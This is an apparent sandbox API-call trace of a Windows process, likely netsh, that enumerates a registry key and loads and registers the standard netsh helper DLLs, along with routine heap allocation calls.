	[0251.667] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e0fd30
	[0251.667] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL"
	[0251.667] GetProcessHeap () returned 0x1e025de0000
	[0251.667] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfac80) returned 1
	[0251.667] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846230000
	[0252.238] GetProcAddress (hModule=0x7ff846230000, lpProcName="InitHelperDll") returned 0x7ff8462315d0
	[0252.238] InitHelperDll () returned 0x0
	[0252.238] RegisterHelper () returned 0x0
	[0252.238] GetProcessHeap () returned 0x1e025de0000
	[0252.238] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x948) returned 0x1e025e27b80
	[0252.238] GetProcessHeap () returned 0x1e025de0000
	[0252.238] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11a10) returned 1
	[0252.238] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="nshhttp", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.239] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5
	[0252.239] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5
	[0252.239] GetProcessHeap () returned 0x1e025de0000
	[0252.239] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1b8) returned 0x1e025e06c80
	[0252.239] GetProcessHeap () returned 0x1e025de0000
	[0252.239] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e16b00
	[0252.239] GetProcessHeap () returned 0x1e025de0000
	[0252.239] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e16640
	[0252.239] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL"
	[0252.239] GetProcessHeap () returned 0x1e025de0000
	[0252.239] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e06ae0) returned 1
	[0252.239] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850cd0000
	[0252.245] GetProcAddress (hModule=0x7ff850cd0000, lpProcName="InitHelperDll") returned 0x7ff850cd10e0
	[0252.245] InitHelperDll () returned 0x0
	[0252.245] RegisterHelper () returned 0x0
	[0252.245] GetProcessHeap () returned 0x1e025de0000
	[0252.245] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x9a0) returned 0x1e025e284d0
	[0252.245] GetProcessHeap () returned 0x1e025de0000
	[0252.245] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e27b80) returned 1
	[0252.246] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="nshipsec", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.246] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5
	[0252.246] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5
	[0252.246] GetProcessHeap () returned 0x1e025de0000
	[0252.246] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1e0) returned 0x1e025e07d10
	[0252.246] GetProcessHeap () returned 0x1e025de0000
	[0252.246] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e16920
	[0252.246] GetProcessHeap () returned 0x1e025de0000
	[0252.246] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e11370
	[0252.246] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL"
	[0252.246] GetProcessHeap () returned 0x1e025de0000
	[0252.246] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e06c80) returned 1
	[0252.246] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff844500000
	[0252.305] GetProcAddress (hModule=0x7ff844500000, lpProcName="InitHelperDll") returned 0x7ff844501250
	[0252.305] InitHelperDll () returned 0x0
	[0252.305] RegisterHelper () returned 0x0
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x9f8) returned 0x1e025e2bfe0
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e284d0) returned 1
	[0252.305] RegisterHelper () returned 0x0
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa50) returned 0x1e025e27b80
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2bfe0) returned 1
	[0252.305] RegisterHelper () returned 0x0
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xaa8) returned 0x1e025e2bfe0
	[0252.305] GetProcessHeap () returned 0x1e025de0000
	[0252.305] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e27b80) returned 1
	[0252.310] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="nshwfp", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.310] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5
	[0252.310] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5
	[0252.310] GetProcessHeap () returned 0x1e025de0000
	[0252.310] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x208) returned 0x1e025e28be0
	[0252.310] GetProcessHeap () returned 0x1e025de0000
	[0252.310] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe) returned 0x1e025e16540
	[0252.310] GetProcessHeap () returned 0x1e025de0000
	[0252.310] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x16) returned 0x1e025e16480
	[0252.310] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL"
	[0252.310] GetProcessHeap () returned 0x1e025de0000
	[0252.310] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e07d10) returned 1
	[0252.310] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff843eb0000
	[0252.328] GetProcAddress (hModule=0x7ff843eb0000, lpProcName="InitHelperDll") returned 0x7ff843eb10d0
	[0252.328] InitHelperDll () returned 0x0
	[0252.328] RegisterHelper () returned 0x0
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xb00) returned 0x1e025e2d6e0
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2bfe0) returned 1
	[0252.328] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="p2pnetsh", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.328] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7
	[0252.328] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x230) returned 0x1e025e11980
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e169a0
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e2cf20
	[0252.328] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL"
	[0252.328] GetProcessHeap () returned 0x1e025de0000
	[0252.328] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e28be0) returned 1
	[0252.328] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff849fb0000
	[0252.340] GetProcAddress (hModule=0x7ff849fb0000, lpProcName="InitHelperDll") returned 0x7ff849fb11e0
	[0252.340] InitHelperDll () returned 0x0
	[0252.340] RegisterHelper () returned 0x0
	[0252.340] GetProcessHeap () returned 0x1e025de0000
	[0252.340] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xb58) returned 0x1e025e30200
	[0252.340] GetProcessHeap () returned 0x1e025de0000
	[0252.340] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e2d6e0) returned 1
	[0252.340] RegisterHelper () returned 0x0
	[0252.340] GetProcessHeap () returned 0x1e025de0000
	[0252.340] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xbb0) returned 0x1e025e30d60
	[0252.340] GetProcessHeap () returned 0x1e025de0000
	[0252.340] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.340] RegisterHelper () returned 0x0
	[0252.340] GetProcessHeap () returned 0x1e025de0000
	[0252.340] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc08) returned 0x1e025e31920
	[0252.341] GetProcessHeap () returned 0x1e025de0000
	[0252.341] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30d60) returned 1
	[0252.341] RegisterHelper () returned 0x0
	[0252.341] GetProcessHeap () returned 0x1e025de0000
	[0252.341] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc60) returned 0x1e025e30200
	[0252.341] GetProcessHeap () returned 0x1e025de0000
	[0252.341] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31920) returned 1
	[0252.342] RegisterHelper () returned 0x0
	[0252.342] GetProcessHeap () returned 0x1e025de0000
	[0252.342] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xcb8) returned 0x1e025e30e70
	[0252.342] GetProcessHeap () returned 0x1e025de0000
	[0252.342] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.342] RegisterHelper () returned 0x0
	[0252.342] GetProcessHeap () returned 0x1e025de0000
	[0252.342] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xd10) returned 0x1e025e31b30
	[0252.343] GetProcessHeap () returned 0x1e025de0000
	[0252.343] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30e70) returned 1
	[0252.343] RegisterHelper () returned 0x0
	[0252.343] GetProcessHeap () returned 0x1e025de0000
	[0252.343] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xd68) returned 0x1e025e30200
	[0252.343] GetProcessHeap () returned 0x1e025de0000
	[0252.343] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31b30) returned 1
	[0252.344] RegisterHelper () returned 0x0
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xdc0) returned 0x1e025e30f70
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.344] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="rpc", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.344] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9
	[0252.344] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x258) returned 0x1e025e11f40
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8) returned 0x1e025dedc00
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x16) returned 0x1e025e16460
	[0252.344] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL"
	[0252.344] GetProcessHeap () returned 0x1e025de0000
	[0252.344] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11980) returned 1
	[0252.344] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850870000
	[0252.348] GetProcAddress (hModule=0x7ff850870000, lpProcName="InitHelperDll") returned 0x7ff850871010
	[0252.348] InitHelperDll () returned 0x0
	[0252.348] RegisterHelper () returned 0x0
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe18) returned 0x1e025e31d40
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30f70) returned 1
	[0252.348] RegisterHelper () returned 0x0
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe70) returned 0x1e025e30200
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31d40) returned 1
	[0252.348] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="WcnNetsh", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.348] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14
	[0252.348] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x280) returned 0x1e025e11980
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e16560
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e2cf80
	[0252.348] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL"
	[0252.348] GetProcessHeap () returned 0x1e025de0000
	[0252.348] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11f40) returned 1
	[0252.349] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8466a0000
	[0252.355] GetProcAddress (hModule=0x7ff8466a0000, lpProcName="InitHelperDll") returned 0x7ff8466a1680
	[0252.355] InitHelperDll () returned 0x0
	[0252.355] RegisterHelper () returned 0x0
	[0252.355] GetProcessHeap () returned 0x1e025de0000
	[0252.355] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xec8) returned 0x1e025e31080
	[0252.355] GetProcessHeap () returned 0x1e025de0000
	[0252.355] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.356] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="whhelper", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.356] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14
	[0252.356] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14
	[0252.356] GetProcessHeap () returned 0x1e025de0000
	[0252.356] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2a8) returned 0x1e025e11f40
	[0252.356] GetProcessHeap () returned 0x1e025de0000
	[0252.356] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e16660
	[0252.356] GetProcessHeap () returned 0x1e025de0000
	[0252.356] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e2cfe0
	[0252.356] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL"
	[0252.356] GetProcessHeap () returned 0x1e025de0000
	[0252.356] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11980) returned 1
	[0252.356] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b3e0000
	[0252.363] GetProcAddress (hModule=0x7ff84b3e0000, lpProcName="InitHelperDll") returned 0x7ff84b3e14d0
	[0252.363] InitHelperDll () returned 0x0
	[0252.363] RegisterHelper () returned 0x0
	[0252.363] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xf20) returned 0x1e025e32f60
	[0252.364] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31080) returned 1
	[0252.364] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="wlancfg", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.364] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14
	[0252.364] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14
	[0252.364] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2d0) returned 0x1e025e11980
	[0252.364] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e166a0
	[0252.364] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e166c0
	[0252.364] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL"
	[0252.364] GetProcessHeap () returned 0x1e025de0000
	[0252.364] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11f40) returned 1
	[0252.364] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff844410000
	[0252.401] GetProcAddress (hModule=0x7ff844410000, lpProcName="InitHelperDll") returned 0x7ff844411320
	[0252.401] InitHelperDll () returned 0x0
	[0252.401] RegisterHelper () returned 0x0
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xf78) returned 0x1e025e35ea0
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e32f60) returned 1
	[0252.401] RegEnumValueW (in: hKey=0xb4, dwIndex=0x11, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="wshelper", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.401] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14
	[0252.401] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2f8) returned 0x1e025e11f40
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e16700
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e2c780
	[0252.401] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL"
	[0252.401] GetProcessHeap () returned 0x1e025de0000
	[0252.401] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11980) returned 1
	[0252.401] LoadLibraryExW (lpLibFileName="WSHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8466f0000
	[0252.405] GetProcAddress (hModule=0x7ff8466f0000, lpProcName="InitHelperDll") returned 0x7ff8466f1030
	[0252.405] InitHelperDll () returned 0x0
	[0252.405] RegisterHelper () returned 0x0
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xfd0) returned 0x1e025e30200
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e35ea0) returned 1
	[0252.405] RegEnumValueW (in: hKey=0xb4, dwIndex=0x12, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="wwancfg", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.405] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14
	[0252.405] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x320) returned 0x1e025e11980
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e16720
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2deb0
	[0252.405] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL"
	[0252.405] GetProcessHeap () returned 0x1e025de0000
	[0252.405] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11f40) returned 1
	[0252.405] LoadLibraryExW (lpLibFileName="WWANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff843e00000
	[0252.416] GetProcAddress (hModule=0x7ff843e00000, lpProcName="InitHelperDll") returned 0x7ff843e011d0
	[0252.417] InitHelperDll () returned 0x0
	[0252.417] RegisterHelper () returned 0x0
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1028) returned 0x1e025e36eb0
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30200) returned 1
	[0252.417] RegEnumValueW (in: hKey=0xb4, dwIndex=0x13, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="peerdistsh", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0252.417] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7
	[0252.417] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x348) returned 0x1e025e11f40
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x16) returned 0x1e025e2dc90
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1e) returned 0x1e025e2c480
	[0252.417] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL"
	[0252.417] GetProcessHeap () returned 0x1e025de0000
	[0252.417] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11980) returned 1
	[0252.417] LoadLibraryExW (lpLibFileName="PEERDISTSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff843d90000
	[0252.424] GetProcAddress (hModule=0x7ff843d90000, lpProcName="InitHelperDll") returned 0x7ff843d91220
	[0252.424] InitHelperDll () returned 0x0
	[0252.427] RegisterHelper () returned 0x0
	[0252.427] GetProcessHeap () returned 0x1e025de0000
	[0252.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1080) returned 0x1e025e37ee0
	[0252.427] GetProcessHeap () returned 0x1e025de0000
	[0252.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e36eb0) returned 1
	[0252.427] RegisterHelper () returned 0x0
	[0252.427] GetProcessHeap () returned 0x1e025de0000
	[0252.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10d8) returned 0x1e025e38f70
	[0252.427] GetProcessHeap () returned 0x1e025de0000
	[0252.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e37ee0) returned 1
	[0252.427] RegCloseKey (hKey=0xb4) returned 0x0
	[0252.427] GetProcessHeap () returned 0x1e025de0000
	[0252.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0dd0) returned 1
	[0252.428] GetProcessHeap () returned 0x1e025de0000
	[0252.428] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de8890) returned 1
	[0252.429] GetProcessHeap () returned 0x1e025de0000
	[0252.429] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e12290
	[0252.429] GetProcessHeap () returned 0x1e025de0000
	[0252.429] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.429] RegisterContext () returned 0x0
	[0252.429] GetProcessHeap () returned 0x1e025de0000
	[0252.429] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025de4430
	[0252.429] GetProcessHeap () returned 0x1e025de0000
